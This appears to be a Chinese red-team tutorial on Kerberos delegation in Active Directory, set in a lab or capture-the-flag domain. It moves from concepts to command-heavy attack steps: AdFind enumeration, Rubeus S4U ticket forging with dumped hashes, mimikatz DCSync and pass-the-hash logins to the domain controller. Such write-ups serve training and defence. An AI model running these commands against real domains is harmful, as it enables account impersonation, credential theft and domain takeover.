域委派
主机账号与服务账号
主机账号:活动目录中的 computers 组内的计算机,也被称为机器账号
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如 SQLServer、MYSQL 等
域用户通过注册 SPN (Service Principal Name) 也能成为服务账号
域委派概念
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
例如:当 A 访问服务 B 时,服务 B 拿着 A 用户的凭证去访问服务 C,这个过程称为委派
在域中,只有主机账户或服务账户才有委派属性
委派分为三种:非约束委派、约束委派和基于资源的委派
非约束委派(Unconstrained Delegation)
服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT, 模拟该用户访问任意服务。
非约束委派的设置需要 SeEnableDelegation
特权,该特权通常仅授予域管理员
配置了非约束性委派属性的机器账号的 userAccountControl
属性有个 Flag
位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION
,其对应的值为 0x81000=528384
配置了非约束性委派属性的服务账号的 userAccountControl
属性有个 Flag
位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION
,其对应的数值是 0x80200=524800
非约束委派流程
user 想要请求 serverA,于是向 DC 发起认证,DC 会检查 serverA 的机器账号的属性,如果是非约束委派的话,会把用户的 TGT 放在 ST 票据中并一起发送给serverA,这样 serverA 在验证 ST 票据的同时也获取到了用户的 TGT,并把 TGT 储存在自己的 lsass 进程中以备下次重用,从而 serverA 就可以使用这个 TGT,来模拟这个 user 访问任何服务

默认域控配置了非约束性委派
约束委派(Constrained Delegation)
由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 windows server 2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 S4U,S4U 支持两个子协议:S4U2Self (Service for User to Self) 和 S4U2proxy (Service for Userto Proxy),运行服务代表用户去向 KDC 请求票据
- S4U2Self 可以代表自身请求针对其自身的 Kerberos 服务票据 (ST)
- S4U2proxy 可以以用户的名义请求其它服务的 ST
当服务账号或者主机被设置为约束性委派时,其 userAccountControl
属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION
,且 msDS-AllowedToDelegateTo
属性会包含被约束的服务
约束委派流程
user 访问 serviceA,向 DC 发起 kerberos 认证,域控返回 user 的 TGT 和 ST1 票据,user 使用 ST1 票据对 serviceA 进行访问。如果配置了 serviceA 到 serviceB 的约束委派,则 serviceA 能使用 S4U2Proxy 协议将用户发给自己的可转发的 ST1 票据以用户的身份发给 DC。域控返回 serviceA 一个用来访问 serviceB 的ST2票据,这样 serviceA 就能以用户的身份对 serviceB 发起访问

委派攻击
非约束委派攻击
查找域中配置非约束委派的主机/服务账户
AdFind
可在域外查询
- 查询域内配置非约束性委派的主机
1
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
-b
指定一个 BaseDN 作为查询的根
-f
LDAP 过滤条件
- 查询域内配置非约束性委派的服务账号
1 | AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn |
对攻击者来说,如果使用 DC 或域管去访问 Service1,那么就会在 lsass 内存中留下票据,就相当于直接拿下了域控
待。。
约束委派攻击
由于服务用户只能获取某个用户(或主机)的服务的 ST1 而非 TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码/Hash,就可以模拟域内任意用户 (如 domain\administrator) 并代表其获得对已配置服务的访问权限(获取 TGS 票据)
此外,我们不仅可以访问约束委派配置中用户可以模拟的服务, 还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。如果有权限访问到 DC 的 LDAP 服务,则有足够的权限去执行 DCSync
查找域中配置约束委派的主机 / 服务账户
AdFind
可在域外查询
- 普通域用户执行:
- 查找域中配置约束委派的主机及服务
1
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
- 查找域中配置约束委派的服务账户及服务
1
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
- 域外可指定域普通用户账密进行查找:
1 | #AdFind.exe -h 域控IP -u 域普通用户名 -up "密码" -b "DC=xx,DC=xx" -f "(&(samAccountType=80530636x)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto |
- 查询域中配置约束委派的主机及服务
1
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
- 查询域中配置约束委派的服务账户及服务
1
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
BloodHound 分析

上图可以看到 MSSQLSERVER 服务配置了到 DC 的约束性委派(LDAP 和 CIFS 服务)
Rubeus 利用 CIFS 服务
第一步,通过 Rubeus 申请机器/服务账户的 TGT
1 | .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:d9bd25dd6f02e2de2bef5b7ecc32d609 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap |
rc4
为 dump 下来的服务账户的 hash
nowrap
打印格式更好
outfile
输出到文件
/ptt
参数将票据导入内存
获取到 base64 格式或文件的 TGT 后,伪造 Administrator 域管理员身份请求针对域控 CIFS 服务的 ST 票据,并将得到的票据传递到内存中
1 | .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:ticket.kirbi |
/ticket
参数可以为 base64 格式的 TGT,或经过转化后的 .kirbi 文件
.kirbi 文件也可以通过 powershell 转化 base64 字符串得到
1 | [IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("去掉换行后的base64")) |
除上面步骤外,使用 Rubeus 也可以一步到位获取 CIFS 的 ST 票据:
1 | Rubeus.exe s4u /user:SqlServer$ /rc4:77E3527E2A110B7E30659749718F54F9 /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt |
使用 klist
查看,成功申请到 CIFS 的票据

之后就可以访问域控的远程共享文件了
1 | dir \\DC.xiaorang.lab\c$ |
Rebeus 利用 LDAP 服务
第一步同理,利用服务账户的 Hash 申请 TGT
1 | Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:d9bd25dd6f02e2de2bef5b7ecc32d609 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap |
然后使用 Administrator 域管理员身份请求针对域控 LDAP 服务的票据并注入内存
1 | .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE32+yacGkAGRudVKX6Lf0gKhjEaMMWmsMznRtO6S+b7JZjjs6xO/TurXVZ+57qOoByxLnQK1Rs/qPJ6Zp5uNuVeYpJRNy/C6C9NbC06i1yr0DdvXvHWwSXmJMaCZgXNK6wTAphGJeiV2PeYigEc9con5C99wIz3UgAda9w7qazQE6Bt2riUc+Pp/aJqfXcdJhTXgY74oRfTYJicn5O0yOXbKFHiCo5tI1hCdPaGyCDDUASiGVwdVNYhTKUCpcA7tPwatcBkPcrjOLePfaznf6Y3WMy6jjRgeA+mlKAjiOzwVqp/V8NKRfdEKdgU5q/OZv7Sy4SDxEWs1lZ/LMlN5CXilDwRHUJfjrMY8xQ1HW2WjaXmlnzMXD5K/8XDj2Wn9caKtTFPbGd1oyiLBv2QUYie6wFEhrhVH9Udo25/bN9GCTNtxS3STH6hE+09upxtKwZ/xCu2ug9UoOxSCsn8yqWJwUwHrX6ax1Didg04ziA8iFkCYDrgELdJfCrpCzQz1bWs30oGAKh2pmVVpYhzgBfv3a0+yiyt97fIFAcd5gNiLn0/OTe5tJ3Lj32iNbbKQHrkHxq+54mDckWMKXRYwK18eMNUoR58mQlAPqa4BMbilxwWZA5qPG1R51/BJgOTvWUIkj5JDkZpGotOLBkRHoH8JZe4YfxurpyaZKYlmk3sTnre8deDsAOItf90yLdXVY24XBrxA25/Mgwu/utYGp/6ADmYkZGPr+8l4gySoDpg0VNZIULI/E2NqNQYDBABexvcXTVAcbURq3q9rHyPaJGEQbJDGXE5PBt8wlQXW9sZRUPurxE24ZcLxgFIp6UFgmVaJaDTdj/IiFqa9M8T/MJMqpWTivlOXn6abvgmIvgCab2MOmpIkpc6Xcq59879VMsdDghvHpUYp5Z+EWMsmrOLQCSWAFZxMgVN0UA9tLbbTJRWiZvYNpEZ4J0sV/c6OSAcFtfr/Kno5wNbGTfELb/QZNKeEVk+MPT3LG28vJFCVnyyrzh6X9rJ5P2Sr58xFw4mdSuyd4dS3hWNEFB7SlN+R0vO1pK8hF4XnJZn/ExnZSLg0Tr087uFTmqQTMnu7g6ys85SBSnf6ExtQxo4d+arvMZChV3SpYZGgJPHxAmYPrpm+oxa5FohEXeQaXSHy6hKiMGqO+LKSQO253dJ90b9EQ5p+wH2/7L26BHFH8Bat1JCW5Q1Mt/JaRdIp0Tv//F+2Kr2vlC92I5lNnBRxqZXVfuqGQUa4bclQeZleqdGhCrq4gFOavlmzAK/0dA5Tl75cpkIHWWSJURG//v708FV1yc314FZ54deVTTfvQWcmwssoS+DHqdhdBsU09SP3oBSViSMz+y+/AQGPw12gYGvwHVyA7m8C1Jm2EjiMBxlc2ieOj3RzeI1lo2f1vfWk/8DAABcaAo3uk9KbcQlYinxii6aqtoluXWfZaFbs6+D/M9Bop3epNA6hi2n8lKjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAz2hwi+O3FNVL4HiirLZoSoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMTAxMzEwMzYyM1qmERgPMjAyMzEwMTMyMDM2MjNapxEYDzIwMjMxMDIwMTAzNjIzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== |
klist
查看成功申请的 LDAP 服务票据
LDAP 服务具有 DCSync 权限,因此可以使用 mimikatz dump 下来 Administrator 域管的 hash
1 | mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit |
得到域管的 hash 后,可以登陆域控,这里使用 WMI 服务进行
1 | impacket-wmiexec -hashes :1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3 |
也可以进行 PTH 攻击
1 | crackmapexec smb 172.22.2.3 -u administrator -H 1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt" |